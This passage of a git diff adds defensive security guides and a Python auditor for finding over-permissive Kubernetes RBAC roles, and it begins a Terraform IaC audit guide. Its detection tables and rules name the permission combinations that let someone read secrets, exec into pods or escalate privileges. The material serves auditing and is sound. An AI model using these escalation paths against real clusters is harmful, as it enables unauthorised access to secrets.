Permissions + +Identify roles with wildcard permissions, secret access, pod exec, or escalation capabilities. + +```bash +# List all ClusterRoles with wildcard verb access +kubectl get clusterroles -o json | python3 -c " +import json, sys +data = json.load(sys.stdin) +for role in data['items']: + name = role['metadata']['name'] + for rule in role.get('rules', []): + verbs = rule.get('verbs', []) + resources = rule.get('resources', []) + if '*' in verbs or '*' in resources: + print(f'ClusterRole: {name}') + print(f' Verbs: {verbs}') + print(f' Resources: {resources}') + print(f' API Groups: {rule.get(\"apiGroups\", [])}') + print() +" + +# Find roles that can read secrets +kubectl get clusterroles -o json | python3 -c " +import json, sys +data = json.load(sys.stdin) +for role in data['items']: + name = role['metadata']['name'] + for rule in role.get('rules', []): + resources = rule.get('resources', []) + verbs = rule.get('verbs', []) + if ('secrets' in resources or '*' in resources) and ('get' in verbs or 'list' in verbs or '*' in verbs): + if not name.startswith('system:'): + print(f'ClusterRole: {name} -> can access secrets (verbs: {verbs})') +" + +# Find roles with pod/exec permissions (container escape risk) +kubectl get clusterroles -o json | python3 -c " +import json, sys +data = json.load(sys.stdin) +for role in data['items']: + name = role['metadata']['name'] + for rule in role.get('rules', []): + resources = rule.get('resources', []) + if 'pods/exec' in resources or 'pods/*' in resources: + print(f'ClusterRole: {name} -> has pods/exec access') +" +``` + +### Step 2: Audit ClusterRoleBindings and RoleBindings + +Review bindings to identify who has elevated access and detect overly broad group assignments. + +```bash +# List all ClusterRoleBindings with the subjects +kubectl get clusterrolebindings -o json | python3 -c " +import json, sys +data = json.load(sys.stdin) +for binding in data['items']: + name = binding['metadata']['name'] + role = binding['roleRef']['name'] + subjects = binding.get('subjects', []) + for subject in subjects: + kind = subject.get('kind', '') + subj_name = subject.get('name', '') + ns = subject.get('namespace', 'cluster-wide') + print(f'{name} -> Role: {role} | {kind}: {subj_name} ({ns})') +" | sort + +# Find bindings to cluster-admin +kubectl get clusterrolebindings -o json | python3 -c " +import json, sys +data = json.load(sys.stdin) +for binding in data['items']: + if binding['roleRef']['name'] == 'cluster-admin': + print(f\"Binding: {binding['metadata']['name']}\") + for subject in binding.get('subjects', []): + print(f\" {subject.get('kind')}: {subject.get('name')} (ns: {subject.get('namespace', 'N/A')})\") +" + +# Find bindings granting access to all authenticated users +kubectl get clusterrolebindings -o json | python3 -c " +import json, sys +data = json.load(sys.stdin) +for binding in data['items']: + for subject in binding.get('subjects', []): + if subject.get('name') in ['system:authenticated', 'system:unauthenticated']: + print(f\"WARNING: {binding['metadata']['name']} grants {binding['roleRef']['name']} to {subject['name']}\") +" +``` + +### Step 3: Scan with rbac-tool for Comprehensive Analysis + +Use rbac-tool for automated RBAC analysis including who-can queries and policy generation. + +```bash +# Who can get secrets across all namespaces +kubectl rbac-tool who-can get secrets + +# Who can create pods (potential for container escape) +kubectl rbac-tool who-can create pods + +# Who can exec into pods +kubectl rbac-tool who-can create pods/exec + +# Who can escalate privileges (bind/escalate verbs) +kubectl rbac-tool who-can bind clusterroles +kubectl rbac-tool who-can escalate clusterroles + +# Generate RBAC policy report +kubectl rbac-tool analysis + +# Visualize RBAC relationships +kubectl rbac-tool viz --outformat dot > rbac-graph.dot +dot -Tpng rbac-graph.dot -o rbac-graph.png +``` + +### Step 4: Run KubiScan for Risky Permissions Detection + +Use KubiScan to automatically identify risky service accounts, pods, and RBAC configurations. + +```bash +# Run KubiScan to find risky roles +python3 -m kubiscan -rroles # List risky Roles +python3 -m kubiscan -rcr # List risky ClusterRoles +python3 -m kubiscan -rrb # List risky RoleBindings +python3 -m kubiscan -rcrb # List risky ClusterRoleBindings + +# Find risky service accounts +python3 -m kubiscan -rs # Risky service accounts + +# Find pods running with risky service accounts +python3 -m kubiscan -rp # Risky pods + +# Check for privilege escalation paths +python3 -m kubiscan -pe # Privilege escalation vectors + +# Generate full report +python3 -m kubiscan -a # All checks +``` + +### Step 5: Audit Service Account Token Mounting and Usage + +Check for unnecessary service account token mounts that could enable lateral movement from compromised pods. + +```bash +# Find pods with automounted service account tokens +kubectl get pods --all-namespaces -o json | python3 -c " +import json, sys +data = json.load(sys.stdin) +for pod in data['items']: + name = pod['metadata']['name'] + ns = pod['metadata']['namespace'] + sa = pod['spec'].get('serviceAccountName', 'default') + automount = pod['spec'].get('automountServiceAccountToken', True) + if automount and sa != 'default': + print(f'{ns}/{name} -> SA: {sa} (token auto-mounted)') +" + +# Find service accounts with non-default token secrets +kubectl get serviceaccounts --all-namespaces -o json | python3 -c " +import json, sys +data = json.load(sys.stdin) +for sa in data['items']: + name = sa['metadata']['name'] + ns = sa['metadata']['namespace'] + secrets = sa.get('secrets', []) + if name != 'default' and len(secrets) > 0: + print(f'{ns}/{name}: {len(secrets)} secret(s) bound') +" + +# Check for pods running as privileged or with host access +kubectl get pods --all-namespaces -o json | python3 -c " +import json, sys +data = json.load(sys.stdin) +for pod in data['items']: + name = pod['metadata']['name'] + ns = pod['metadata']['namespace'] + for container in pod['spec'].get('containers', []): + sc = container.get('securityContext', {}) + if sc.get('privileged', False) or sc.get('runAsUser', 1) == 0: + print(f'RISK: {ns}/{name}/{container[\"name\"]} - privileged={sc.get(\"privileged\",False)} runAsRoot={sc.get(\"runAsUser\",\"not set\")==0}') +" +``` + +### Step 6: Run Kubeaudit for RBAC and Security Policy Validation + +Execute Kubeaudit for comprehensive security checks including RBAC-related findings. + +```bash +# Run all kubeaudit checks +kubeaudit all --kubeconfig ~/.kube/config + +# Run specific RBAC-related checks +kubeaudit privesc # Check for allowPrivilegeEscalation +kubeaudit rootfs # Check for readOnlyRootFilesystem +kubeaudit nonroot # Check for runAsNonRoot +kubeaudit capabilities # Check for dangerous capabilities + +# Output as JSON for processing +kubeaudit all --kubeconfig ~/.kube/config -f json > kubeaudit-results.json +``` + +## Key Concepts + +| Term | Definition | +|------|------------| +| RBAC | Role-Based Access Control in Kubernetes, a method for regulating access to cluster resources based on the roles of individual users or service accounts | +| ClusterRole | Cluster-wide role definition that specifies permissions (verbs on resources) applicable across all namespaces | +| ClusterRoleBinding | Associates a ClusterRole with subjects (users, groups, service accounts) at the cluster scope | +| Service Account | Identity associated with pods for authenticating to the Kubernetes API server, automatically mounted unless disabled | +| automountServiceAccountToken | Pod spec field controlling whether the service account token is automatically mounted into the pod filesystem | +| Privilege Escalation | RBAC verbs (bind, escalate, impersonate) that allow a user to grant themselves or others elevated permissions | + +## Tools & Systems + +- **kubectl**: Primary CLI for querying Kubernetes RBAC resources (roles, bindings, service accounts) +- **rbac-tool**: kubectl plugin for RBAC analysis including who-can queries, visualization, and policy generation +- **KubiScan**: Python tool for scanning Kubernetes RBAC for risky permissions and privilege escalation paths +- **Kubeaudit**: Security auditing tool that checks pods and workloads for security anti-patterns including RBAC issues +- **rakkess**: kubectl plugin showing access matrix for the current user across all resource types + +## Common Scenarios + +### Scenario: Auditing an EKS Cluster Shared by Multiple Development Teams + +**Context**: A shared EKS cluster serves four development teams. RBAC was configured during initial setup but has not been reviewed in 12 months. Teams report being able to access other teams' namespaces. + +**Approach**: +1. List all ClusterRoleBindings to identify bindings granting broad access to authenticated users +2. Run `kubectl rbac-tool who-can get secrets` to find subjects that can read secrets across namespaces +3. Discover that a ClusterRoleBinding grants `edit` to `system:authenticated`, giving all users write access cluster-wide +4. Run KubiScan to identify service accounts with risky permissions and pods running with elevated service accounts +5. Replace the ClusterRoleBinding with namespace-scoped RoleBindings for each team +6. Disable automountServiceAccountToken for workloads that do not need API access +7. Create a NetworkPolicy to isolate namespace traffic between teams + +**Pitfalls**: Removing ClusterRoleBindings can break CI/CD pipelines and operators that rely on cluster-wide access. Always audit which workloads use the bindings before removing them. EKS maps IAM roles to Kubernetes groups via aws-auth ConfigMap, so RBAC changes must be coordinated with IAM role mappings. + +## Output Format + +``` +Kubernetes RBAC Audit Report +=============================== +Cluster: production-eks (EKS 1.28) +Audit Date: 2026-02-23 +Namespaces: 12 + +RBAC INVENTORY: + ClusterRoles: 48 (18 custom, 30 system) + ClusterRoleBindings: 32 (12 custom, 20 system) + Roles (namespaced): 24 + RoleBindings (namespaced): 36 + Service Accounts: 67 + +CRITICAL FINDINGS: +[RBAC-001] ClusterRoleBinding Grants edit to system:authenticated + Binding: authenticated-edit + Effect: ALL authenticated users have edit access across ALL namespaces + Risk: Any user can modify resources in any namespace + Remediation: Replace with namespace-scoped RoleBindings per team + +[RBAC-002] Custom ClusterRole with Wildcard Permissions + ClusterRole: developer-admin + Rules: verbs=["*"], resources=["*"], apiGroups=["*"] + Bindings: 4 users via developer-admin-binding + Risk: Equivalent to cluster-admin without the name + Remediation: Scope to specific resources and verbs needed + +SUMMARY: + Principals with cluster-admin: 6 (recommended: <= 3) + Roles with wildcard permissions: 4 + Service accounts with secret access: 12 + Pods with auto-mounted tokens: 45 / 67 + Privileged containers: 8 +``` diff --git a/skills/auditing-kubernetes-rbac-permissions/SKILL.md b/skills/auditing-kubernetes-rbac-permissions/SKILL.md new file mode 100644 index 00000000..c2031753 --- /dev/null +++ b/skills/auditing-kubernetes-rbac-permissions/SKILL.md @@ -0,0 +1,205 @@ +--- +name: None +description: Kubernetes Role-Based Access Control (RBAC) auditing systematically reviews roles, cluster roles, bindings, and service account permissions to identify overly permissive access, privilege escalation p +domain: cybersecurity +subdomain: container-security +tags: [containers, kubernetes, security, RBAC, access-control] +version: "1.0" +author: mahipal +license: MIT +--- +# Auditing Kubernetes RBAC Permissions + +## Overview + +Kubernetes Role-Based Access Control (RBAC) auditing systematically reviews roles, cluster roles, bindings, and service account permissions to identify overly permissive access, privilege escalation paths, and violations of least-privilege principles. Tools like rbac-tool, KubiScan, and rakkess automate discovery of dangerous permission combinations. + +## Prerequisites + +- Kubernetes cluster with RBAC enabled (default since 1.6) +- kubectl with cluster-admin access for full audit +- rbac-tool, rakkess, or KubiScan installed + +## Core Concepts + +### RBAC Components + +| Resource | Scope | Purpose | +|----------|-------|---------| +| Role | Namespace | Grants permissions within a namespace | +| ClusterRole | Cluster | Grants permissions cluster-wide | +| RoleBinding | Namespace | Binds Role/ClusterRole to subjects in namespace | +| ClusterRoleBinding | Cluster | Binds ClusterRole to subjects cluster-wide | + +### Dangerous Permission Combinations + +| Permission | Risk | Impact | +|-----------|------|--------| +| `*` on `*` resources | Critical | Equivalent to cluster-admin | +| create pods | High | Can deploy privileged pods | +| create pods/exec | High | Can exec into any pod | +| get secrets | High | Can read all secrets | +| create clusterrolebindings | Critical | Can escalate to cluster-admin | +| impersonate users | Critical | Can act as any user | +| escalate on roles | Critical | Can grant permissions beyond own | +| bind on roles | High | Can create new role bindings | + +## Implementation Steps + +### Step 1: Enumerate All RBAC Resources + +```bash +# List all ClusterRoles +kubectl get clusterroles -o name | wc -l +kubectl get clusterroles --no-headers | grep -v "system:" + +# List all ClusterRoleBindings +kubectl get clusterrolebindings -o wide + +# List all Roles per namespace +kubectl get roles -A + +# List all RoleBindings per namespace +kubectl get rolebindings -A -o wide + +# Export all RBAC for offline analysis +kubectl get clusterroles,clusterrolebindings,roles,rolebindings -A -o yaml > rbac-export.yaml +``` + +### Step 2: Identify Wildcard Permissions + +```bash +# Find ClusterRoles with wildcard verbs on all resources +kubectl get clusterroles -o json | jq -r ' + .items[] | + select(.rules[]? | + (.verbs | index("*")) and + (.resources | index("*")) + ) | + .metadata.name' + +# Find roles that can create pods +kubectl get clusterroles -o json | jq -r ' + .items[] | + select(.rules[]? | + (.verbs | index("create") or index("*")) and + (.resources | index("pods") or index("*")) + ) | + .metadata.name' + +# Find roles that can read secrets +kubectl get clusterroles -o json | jq -r ' + .items[] | + select(.rules[]? | + (.verbs | index("get") or index("list") or index("*")) and + (.resources | index("secrets") or index("*")) + ) | + .metadata.name' +``` + +### Step 3: Check Service Account Permissions + +```bash +# List all service accounts +kubectl get serviceaccounts -A + +# Check permissions for default service accounts +for ns in $(kubectl get ns -o jsonpath='{.items[*].metadata.name}'); do + echo "=== $ns/default ===" + kubectl auth can-i --list --as=system:serviceaccount:$ns:default 2>/dev/null | grep -v "no" +done + +# Check for service accounts with cluster-admin +kubectl get clusterrolebindings -o json | jq -r ' + .items[] | + select(.roleRef.name == "cluster-admin") | + {binding: .metadata.name, subjects: [.subjects[]? | {kind, name, namespace}]}' +``` + +### Step 4: Use rbac-tool for Automated Analysis + +```bash +# Install rbac-tool +kubectl krew install rbac-tool + +# Visualize RBAC +kubectl rbac-tool viz --outformat dot | dot -Tpng > rbac-graph.png + +# Find who can perform specific actions +kubectl rbac-tool who-can get secrets -A +kubectl rbac-tool who-can create pods -A +kubectl rbac-tool who-can '*' '*' + +# Analyze all permissions +kubectl rbac-tool analysis + +# Generate RBAC policy report +kubectl rbac-tool auditgen > rbac-audit.yaml +``` + +### Step 5: Check for Privilege Escalation Paths + +```bash +# Check if any role can escalate privileges +kubectl get clusterroles -o json | jq -r ' + .items[] | + select(.rules[]? | + (.verbs | index("escalate") or index("bind") or index("impersonate")) and + (.resources | index("clusterroles") or index("roles") or index("clusterrolebindings") or index("rolebindings") or index("users") or index("groups") or index("serviceaccounts")) + ) | + .metadata.name' + +# Check for impersonation permissions +kubectl get clusterroles -o json | jq -r ' + .items[] | + select(.rules[]? | + (.verbs | index("impersonate")) + ) | + {name: .metadata.name, rules: .rules}' +``` + +### Step 6: Audit with KubiScan + +```bash +# Install KubiScan +pip install kubiscan + +# Find risky roles +kubiscan --risky-roles + +# Find risky ClusterRoles +kubiscan --risky-clusterroles + +# Find risky subjects +kubiscan --risky-subjects + +# Find pods with risky service accounts +kubiscan --risky-pods + +# Full report +kubiscan --all +``` + +## Validation Commands + +```bash +# Verify specific permission +kubectl auth can-i create pods --as=system:serviceaccount:default:myapp + +# Check all permissions for a user +kubectl auth can-i --list --as=developer@example.com + +# Validate RBAC with kubescape +kubescape scan framework nsa --controls-config rbac-controls.json + +# Test least privilege +kubectl auth can-i delete nodes --as=system:serviceaccount:app:web-server +# Expected: no +``` + +## References + +- [Kubernetes RBAC Documentation](https://kubernetes.io/docs/reference/access-authn-authz/rbac/) +- [rbac-tool GitHub](https://github.com/alcideio/rbac-tool) +- [KubiScan - Risky Permissions Scanner](https://github.com/cyberark/KubiScan) +- [CIS Kubernetes Benchmark - Section 5.1](https://www.cisecurity.org/benchmark/kubernetes) diff --git a/skills/auditing-kubernetes-rbac-permissions/assets/template.md b/skills/auditing-kubernetes-rbac-permissions/assets/template.md new file mode 100644 index 00000000..f28b4044 --- /dev/null +++ b/skills/auditing-kubernetes-rbac-permissions/assets/template.md @@ -0,0 +1,25 @@ +# RBAC Audit Report Template + +## Cluster Information +| Field | Value | +|-------|-------| +| Cluster Name | | +| Audit Date | | +| Total ClusterRoles | | +| Total Roles | | +| Total Bindings | | + +## High-Risk Bindings +| Binding | Role | Subject | Severity | Action | +|---------|------|---------|----------|--------| +| | | | | | + +## Service Account Review +| Namespace | SA Name | Bound Roles | Risk | Recommendation | +|-----------|---------|-------------|------|---------------| +| | | | | | + +## Remediation Plan +| Priority | Finding | Action | Owner | Status | +|----------|---------|--------|-------|--------| +| | | | | | diff --git a/skills/auditing-kubernetes-rbac-permissions/references/standards.md b/skills/auditing-kubernetes-rbac-permissions/references/standards.md new file mode 100644 index 00000000..46736957 --- /dev/null +++ b/skills/auditing-kubernetes-rbac-permissions/references/standards.md @@ -0,0 +1,34 @@ +# Standards Reference - RBAC Auditing + +## CIS Kubernetes Benchmark v1.8 - Section 5.1 + +- 5.1.1: Ensure cluster-admin role is only used where required +- 5.1.2: Minimize access to secrets +- 5.1.3: Minimize wildcard use in Roles and ClusterRoles +- 5.1.4: Minimize access to create pods +- 5.1.5: Ensure default service accounts are not actively used +- 5.1.6: Ensure Service Account Tokens are not mounted when not needed +- 5.1.7: Avoid use of system:masters group +- 5.1.8: Limit use of the Bind, Impersonate and Escalate permissions + +## NIST SP 800-53 AC Controls +- AC-2: Account Management +- AC-3: Access Enforcement +- AC-6: Least Privilege +- AC-6(1): Authorize Access to Security Functions +- AC-6(5): Privileged Accounts + +## Dangerous RBAC Combinations + +| Verbs | Resources | Risk Level | +|-------|-----------|-----------| +| * | * | CRITICAL - cluster-admin equivalent | +| create | pods | HIGH - can deploy privileged pods | +| create | pods/exec | HIGH - can exec into any pod | +| get, list | secrets | HIGH - can read all secrets | +| create | clusterrolebindings | CRITICAL - privilege escalation | +| impersonate | users, groups, serviceaccounts | CRITICAL - identity theft | +| escalate | roles, clusterroles | CRITICAL - RBAC escalation | +| bind | roles, clusterroles | HIGH - can create bindings | +| create | deployments | MEDIUM - can deploy workloads | +| delete | pods, nodes | HIGH - denial of service | diff --git a/skills/auditing-kubernetes-rbac-permissions/references/workflows.md b/skills/auditing-kubernetes-rbac-permissions/references/workflows.md new file mode 100644 index 00000000..38e41260 --- /dev/null +++ b/skills/auditing-kubernetes-rbac-permissions/references/workflows.md @@ -0,0 +1,60 @@ +# Workflows - RBAC Auditing + +## Workflow 1: Comprehensive RBAC Audit + +``` +[Export all RBAC] --> [Identify cluster-admin bindings] --> [Check wildcard permissions] + | | | + v v v + kubectl get all Flag non-system Flag * verbs, * resources + RBAC resources cluster-admin users Find excessive permissions + | | | + +----------+------------+------------------------------------+ + | + v + [Check service account permissions] + | + v + [Identify privilege escalation paths] + | + v + [Generate remediation report] +``` + +## Workflow 2: Least Privilege Implementation + +``` +Step 1: Inventory current permissions per team/service +Step 2: Document actual required operations +Step 3: Create minimal Role/ClusterRole +Step 4: Test with auth can-i dry-run +Step 5: Apply new bindings +Step 6: Remove overly permissive bindings +Step 7: Validate with automated audit +``` + +## Workflow 3: Continuous RBAC Monitoring + +```yaml +# CronJob for weekly RBAC audit +apiVersion: batch/v1 +kind: CronJob +metadata: + name: rbac-audit +spec: + schedule: "0 2 * * 1" # Weekly Monday 2am + jobTemplate: + spec: + template: + spec: + containers: + - name: audit + image: bitnami/kubectl:latest + command: + - /bin/sh + - -c + - | + kubectl get clusterrolebindings -o json | jq '.items[] | select(.roleRef.name=="cluster-admin") | .metadata.name' > /audit/cluster-admin-bindings.txt + kubectl get clusterroles -o json | jq '.items[] | select(.rules[]? | (.verbs | index("*")) and (.resources | index("*"))) | .metadata.name' > /audit/wildcard-roles.txt + restartPolicy: Never +``` diff --git a/skills/auditing-kubernetes-rbac-permissions/scripts/process.py b/skills/auditing-kubernetes-rbac-permissions/scripts/process.py new file mode 100644 index 00000000..0afc9359 --- /dev/null +++ b/skills/auditing-kubernetes-rbac-permissions/scripts/process.py @@ -0,0 +1,257 @@ +#!/usr/bin/env python3 +""" +Kubernetes RBAC Permissions Auditor + +Audits RBAC configurations for overly permissive roles, +dangerous permission combinations, and privilege escalation paths. +""" + +import subprocess +import json +import sys +from dataclasses import dataclass, field + +DANGEROUS_VERBS = {"*", "escalate", "bind", "impersonate"} +DANGEROUS_RESOURCES = {"*", "secrets", "pods", "clusterroles", "clusterrolebindings", "roles", "rolebindings"} +HIGH_RISK_COMBINATIONS = [ + ({"*"}, {"*"}, "CRITICAL", "Wildcard access on all resources (cluster-admin equivalent)"), + ({"create", "update", "patch"}, {"clusterrolebindings", "rolebindings"}, "CRITICAL", "Can create role bindings for privilege escalation"), + ({"escalate"}, {"clusterroles", "roles"}, "CRITICAL", "Can escalate role permissions beyond own level"), + ({"impersonate"}, {"users", "groups", "serviceaccounts"}, "CRITICAL", "Can impersonate any identity"), + ({"get", "list", "watch"}, {"secrets"}, "HIGH", "Can read all secrets in scope"), + ({"create"}, {"pods"}, "HIGH", "Can create pods (deploy workloads)"), + ({"create"}, {"pods/exec"}, "HIGH", "Can exec into pods (command execution)"), + ({"delete"}, {"pods", "nodes", "namespaces"}, "HIGH", "Can delete critical resources"), +] + + +@dataclass +class RBACFinding: + resource_type: str + resource_name: str + namespace: str + severity: str + issue: str + details: str + remediation: str + + +@dataclass +class RBACAuditReport: + findings: list = field(default_factory=list) + cluster_roles: int = 0 + roles: int = 0 + cluster_role_bindings: int = 0 + role_bindings: int = 0 + service_accounts: int = 0 + + +def run_kubectl_json(args: list): + cmd = ["kubectl"] + args + ["-o", "json"] + try: + result = subprocess.run(cmd, capture_output=True, text=True, timeout=30) + if result.returncode != 0: + return None + return json.loads(result.stdout) + except (subprocess.TimeoutExpired, json.JSONDecodeError, FileNotFoundError): + return None + + +def check_role_rules(rules: list, role_name: str, role_type: str, namespace: str, report: RBACAuditReport): + """Analyze role rules for dangerous permissions.""" + for rule in rules: + verbs = set(rule.get("verbs", [])) + resources = set(rule.get("resources", [])) + api_groups = rule.get("apiGroups", []) + + for req_verbs, req_resources, severity, description in HIGH_RISK_COMBINATIONS: + verb_match = "*" in verbs or bool(verbs & req_verbs) + resource_match = "*" in resources or bool(resources & req_resources) + + if verb_match and resource_match: + report.findings.append(RBACFinding( + resource_type=role_type, + resource_name=role_name, + namespace=namespace, + severity=severity, + issue=description, + details=f"verbs={list(verbs)}, resources={list(resources)}, apiGroups={api_groups}", + remediation=f"Restrict {role_type} '{role_name}' to minimum required permissions" + )) + break + + +def audit_cluster_roles(report: RBACAuditReport): + """Audit all ClusterRoles.""" + print("[*] Auditing ClusterRoles...") + data = run_kubectl_json(["get", "clusterroles"]) + if not data: + return + + items = data.get("items", []) + report.cluster_roles = len(items) + + for cr in items: + name = cr["metadata"]["name"] + # Skip well-known system roles + if name.startswith("system:") and name not in ("system:aggregate-to-admin", "system:aggregate-to-edit"): + continue + + rules = cr.get("rules", []) + check_role_rules(rules, name, "ClusterRole", "cluster-wide", report) + + +def audit_roles(report: RBACAuditReport): + """Audit all namespace Roles.""" + print("[*] Auditing Roles...") + data = run_kubectl_json(["get", "roles", "-A"]) + if not data: + return + + items = data.get("items", []) + report.roles = len(items) + + for role in items: + name = role["metadata"]["name"] + namespace = role["metadata"]["namespace"] + rules = role.get("rules", []) + check_role_rules(rules, name, "Role", namespace, report) + + +def audit_bindings(report: RBACAuditReport): + """Audit ClusterRoleBindings for dangerous subject assignments.""" + print("[*] Auditing ClusterRoleBindings...") + + data = run_kubectl_json(["get", "clusterrolebindings"]) + if not data: + return + + items = data.get("items", []) + report.cluster_role_bindings = len(items) + + dangerous_subjects = {"system:anonymous", "system:unauthenticated"} + admin_roles = {"cluster-admin", "admin", "edit"} + + for crb in items: + name = crb["metadata"]["name"] + role_ref = crb.get("roleRef", {}).get("name", "") + subjects = crb.get("subjects", []) or [] + + for subject in subjects: + s_name = subject.get("name", "") + s_kind = subject.get("kind", "") + + if s_name in dangerous_subjects and role_ref in admin_roles: + report.findings.append(RBACFinding( + resource_type="ClusterRoleBinding", + resource_name=name, + namespace="cluster-wide", + severity="CRITICAL", + issue=f"Dangerous subject '{s_name}' bound to '{role_ref}'", + details=f"Subject {s_kind}/{s_name} has {role_ref} access", + remediation=f"Remove or restrict ClusterRoleBinding '{name}'" + )) + + # Check for system:authenticated bound to admin roles + if s_name == "system:authenticated" and role_ref in admin_roles: + report.findings.append(RBACFinding( + resource_type="ClusterRoleBinding", + resource_name=name, + namespace="cluster-wide", + severity="CRITICAL", + issue=f"All authenticated users have '{role_ref}' access", + details=f"Group system:authenticated bound to {role_ref}", + remediation=f"Remove binding, use specific user/group bindings" + )) + + +def audit_service_accounts(report: RBACAuditReport): + """Audit service accounts for over-permissioning.""" + print("[*] Auditing Service Accounts...") + + data = run_kubectl_json(["get", "serviceaccounts", "-A"]) + if not data: + return + + items = data.get("items", []) + report.service_accounts = len(items) + + # Check default SAs that have non-default bindings + crbs = run_kubectl_json(["get", "clusterrolebindings"]) + rbs = run_kubectl_json(["get", "rolebindings", "-A"]) + + if crbs: + for crb in crbs.get("items", []): + for subject in crb.get("subjects", []) or []: + if subject.get("kind") == "ServiceAccount" and subject.get("name") == "default": + report.findings.append(RBACFinding( + resource_type="ServiceAccount", + resource_name=f"default ({subject.get('namespace', 'unknown')})", + namespace=subject.get("namespace", "unknown"), + severity="HIGH", + issue=f"Default SA bound to ClusterRole '{crb['roleRef']['name']}'", + details="Default service account should not have additional permissions", + remediation="Create dedicated service account, remove default SA binding" + )) + + +def print_report(report: RBACAuditReport): + print("\n" + "=" * 70) + print("KUBERNETES RBAC AUDIT REPORT") + print("=" * 70) + print(f"ClusterRoles: {report.cluster_roles}") + print(f"Roles: {report.roles}") + print(f"ClusterRoleBindings: {report.cluster_role_bindings}") + print(f"RoleBindings: {report.role_bindings}") + print(f"ServiceAccounts: {report.service_accounts}") + print(f"Total Findings: {len(report.findings)}") + print("=" * 70) + + for severity in ["CRITICAL", "HIGH", "MEDIUM", "LOW"]: + findings = [f for f in report.findings if f.severity == severity] + if findings: + print(f"\n{severity} ({len(findings)}):") + print("-" * 70) + for f in findings: + print(f" [{f.resource_type}] {f.resource_name}") + print(f" Issue: {f.issue}") + print(f" Details: {f.details}") + print(f" Fix: {f.remediation}") + print() + + +def main(): + print("[*] Kubernetes RBAC Permissions Auditor\n") + + report = RBACAuditReport() + audit_cluster_roles(report) + audit_roles(report) + audit_bindings(report) + audit_service_accounts(report) + print_report(report) + + output = { + "summary": { + "cluster_roles": report.cluster_roles, + "roles": report.roles, + "findings": len(report.findings), + }, + "findings": [ + {"type": f.resource_type, "name": f.resource_name, "namespace": f.namespace, + "severity": f.severity, "issue": f.issue, "remediation": f.remediation} + for f in report.findings + ], + } + + with open("rbac_audit_report.json", "w") as f: + json.dump(output, f, indent=2) + print("[*] Report saved to rbac_audit_report.json") + + critical = sum(1 for f in report.findings if f.severity == "CRITICAL") + if critical > 0: + print(f"\n[!] {critical} CRITICAL findings found") + sys.exit(1) + + +if __name__ == "__main__": + main() diff --git a/skills/auditing-terraform-infrastructure-for-security/SKILL.md b/skills/auditing-terraform-infrastructure-for-security/SKILL.md new file mode 100644 index 00000000..0edc3b69 --- /dev/null +++ b/skills/auditing-terraform-infrastructure-for-security/SKILL.md @@ -0,0 +1,339 @@ +--- +name: auditing-terraform-infrastructure-for-security +description: > + Auditing Terraform infrastructure-as-code for security misconfigurations using Checkov, + tfsec, Terrascan, and OPA/Rego policies to detect overly permissive IAM policies, public + resource exposure, missing encryption, and insecure defaults before cloud deployment. +domain: cybersecurity +subdomain: cloud-security +tags: [cloud-security, terraform, infrastructure-as-code, checkov, tfsec, policy-as-code] +version: "1.0" +author: mahipal +license: MIT +--- + +# Auditing Terraform Infrastructure for Security + +## When to Use + +- When integrating security scanning into CI/CD pipelines for Terraform deployments +- When reviewing Terraform plans and modules for security best practices before applying +- When building policy-as-code guardrails for cloud infrastructure provisioning +- When auditing existing Terraform state files to identify deployed misconfigurations +- When enforcing organizational security standards across multiple Terraform projects + +**Do not use** for runtime security monitoring (use CSPM tools), for application security testing (use SAST/DAST tools), or for cloud configuration drift detection (use AWS Config or Azure Policy after deployment). + +## Prerequisites + +- Checkov installed (`pip install checkov`) +- tfsec installed (`brew install tfsec` or binary from GitHub) +- Terrascan installed (`brew install terrascan`) +- Terraform v1.0+ for plan generation +- OPA (Open Policy Agent) for custom policy enforcement +- Git repository with Terraform code to audit + +## Workflow + +### Step 1: Scan Terraform Code with Checkov + +Run Checkov for comprehensive IaC security scanning with built-in and custom policies. + +```bash +# Scan a Terraform directory +checkov -d ./terraform/ --framework terraform + +# Scan with specific check categories +checkov -d ./terraform/ --check CKV_AWS_18,CKV_AWS_19,CKV_AWS_20,CKV_AWS_21 + +# Scan and output results in JSON +checkov -d ./terraform/ --output json > checkov-results.json + +# Scan a Terraform plan file for more accurate analysis +terraform init && terraform plan -out=tfplan +terraform show -json tfplan > tfplan.json +checkov -f tfplan.json --framework terraform_plan + +# Skip specific checks with justification +checkov -d ./terraform/ --skip-check CKV_AWS_145 \ + --bc-api-key $BRIDGECREW_API_KEY + +# Scan Terraform modules +checkov -d ./modules/ --framework terraform --compact + +# List all available checks +checkov --list --framework terraform | grep CKV_AWS +``` + +### Step 2: Scan with tfsec for Terraform-Specific Issues + +Use tfsec for Terraform-native security analysis with detailed remediation guidance. + +```bash +# Scan a Terraform directory +tfsec ./terraform/ + +# Scan with minimum severity threshold +tfsec ./terraform/ --minimum-severity HIGH + +# Output in JSON for CI/CD processing +tfsec ./terraform/ --format json > tfsec-results.json + +# Scan with custom checks +tfsec ./terraform/ --custom-check-dir ./custom-checks/ + +# Exclude specific rules +tfsec ./terraform/ --exclude-downloaded-modules \ + --exclude aws-s3-enable-bucket-logging + +# Scan and fail on specific severity +tfsec ./terraform/ --minimum-severity CRITICAL --soft-fail + +# Generate SARIF output for GitHub Security tab +tfsec ./terraform/ --format sarif > tfsec.sarif +``` + +### Step 3: Run Terrascan for Multi-Framework Compliance + +Execute Terrascan for compliance checking against CIS, NIST, and SOC 2 frameworks. + +```bash +# Scan Terraform against CIS AWS benchmark +terrascan scan -t aws -i terraform -d ./terraform/ \ + --policy-type aws --verbose + +# Scan against specific compliance frameworks +terrascan scan -t aws -i terraform -d ./terraform/ \ + --policy-type aws \ + --categories "Compliance Validation" + +# Output in JSON +terrascan scan -t aws -i terraform -d ./terraform/ \ + --output json > terrascan-results.json + +# Scan a Terraform plan +terrascan scan -t aws -i terraform \ + --iac-file tfplan.json \ + --iac-type tfplan + +# List available policies +terrascan scan --list-policies -t aws +``` + +### Step 4: Create Custom OPA Policies for Organization Standards + +Write Rego policies for organization-specific security requirements. + +```rego +# policy/aws_s3_encryption.rego +package terraform.aws.s3 + +deny[msg] { + resource := input.resource.aws_s3_bucket[name] + not resource.server_side_encryption_configuration + msg := sprintf("S3 bucket '%s' must have server-side encryption enabled", [name]) +} + +# policy/aws_iam_no_wildcards.rego +package terraform.aws.iam + +deny[msg] { + resource := input.resource.aws_iam_policy[name] + statement := resource.policy.Statement[_] + statement.Action == "*" + statement.Effect == "Allow" + msg := sprintf("IAM policy '%s' must not use wildcard (*) actions", [name]) +} + +deny[msg] { + resource := input.resource.aws_iam_policy[name] + statement := resource.policy.Statement[_] + statement.Resource == "*" + statement.Effect == "Allow" + 